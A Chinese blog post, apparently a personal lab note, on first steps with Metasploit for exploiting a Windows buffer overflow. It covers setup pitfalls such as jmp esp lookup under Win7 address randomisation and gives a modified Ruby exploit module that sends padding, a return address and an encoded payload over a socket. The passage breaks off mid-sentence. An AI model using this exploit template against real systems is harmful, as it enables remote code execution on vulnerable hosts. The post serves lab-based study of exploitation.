0day 安全之 msf 初探

最新推荐文章于 2024-05-03 22:14:32 发布

pipixia233333

最新推荐文章于 2024-05-03 22:14:32 发布

阅读量215

点赞数

分类专栏：栈溢出堆溢出

本文链接：https://blog.csdn.net/qq_41071646/article/details/99576915

版权

栈溢出堆溢出专栏收录该内容

78 篇文章 8 订阅

订阅专栏

msf 这个工具在我还没有开始学pwn 就有搞web的人说过这个框架

只是没有怎么了解

没有想到这个工具竟然使用Ruby 写的，，社会社会，。

然后这里关于在 windows下的安装我就不说了反正都一样（直接用kail的就行）

不过有一点感觉很坑就是版本不一样然后导致我们写的 exploit 可能会加载失败，，（可能是）

这里我也不太确定，因为我也不太熟悉rust开发更不熟悉msf的框架

但是我历经了大半天还是把这个环境给搞定了，效果截图

可以看到我用的是 windows 7 x86

其实我已经装上了 XP 还有windows 2000 为啥要用 win7

这里就是我要说的第一个坑点了

一定要用程序来找一下 jmp esp 这里win7 因为开了加载基址随机化所以每次开机都要重新查找一次

但是 xp 和 2000 不用

第二个坑点就是一定要把攻击机的防火墙给关了

第三个坑点就是编译的程序尽量用 release 版本的不要用 debug版本的

然后这里贴上我改过的模块

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Ftp
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'security test',
      'Description'    => %q{
          This module exploits a buffer overflow.
      },
      'Author'         => 'fwd',
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 300,
          'BadChars' => "\x00",
        },
      'Platform' 		  => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Pro SP2 English',           { 'Ret' => 0x770445ee } ],
        ]))
  end
 
  def exploit
    connect
    attack_buf =  'a'*200
    attack_buf += [target.ret].pack('V')
    attack_buf += payload.encoded
    sock.put(attack_buf)
    handler
    disconnect
  end
end

然后就是我的攻击机的环境

windows 10 然后 msf版本是